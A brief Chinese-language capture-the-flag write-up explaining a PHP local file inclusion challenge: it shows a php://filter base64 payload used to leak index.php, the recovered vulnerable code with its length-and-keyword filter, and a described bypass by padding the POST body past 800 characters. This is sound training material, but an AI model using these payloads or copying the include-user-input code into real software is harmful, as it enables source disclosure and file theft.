很直接的文件包含
也给出了提示,我们尝试下php://filter伪协议
发现flag被过滤
尝试读取index.php
flag=php://filter/convert.base64-encode/resource=index.php
<?php
$path = $_POST["flag"];
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
} else {
@include($path);
}
?>
解码后得到了真实的代码
第一个条件,php://input应该是代表我们post传入字符串的数量,要求这个数量要小于800
第二个条件,就是传入的内容包含flag
需要同时满足两个条件才会报防火墙
那么我只需要第一个条件不满足,就可以包含flag了
先用python生成
构造payload
解码flag